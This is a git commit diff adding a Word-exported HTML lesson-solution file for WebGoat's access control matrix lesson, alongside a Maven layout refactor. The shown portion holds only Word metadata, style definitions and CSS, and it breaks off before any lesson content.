Refactored files to Maven standard Layout
Added plugin to produce executable jar. Now it is easy to run webgoat on all platforms.
This commit is contained in:
Dave
707
src/main/webapp/lesson_solutions_1/AccessControlMatrix.html
Normal file
707
src/main/webapp/lesson_solutions_1/AccessControlMatrix.html
Normal file
@ -0,0 +1,707 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/AccessControlMatrix_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/AccessControlMatrix_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>4</o:Revision>
|
||||
<o:TotalTime>25</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:48:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:24:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>167</o:Words>
|
||||
<o:Characters>954</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>7</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1119</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/AccessControlMatrix_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/AccessControlMatrix_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Cambria;
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1073741899 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
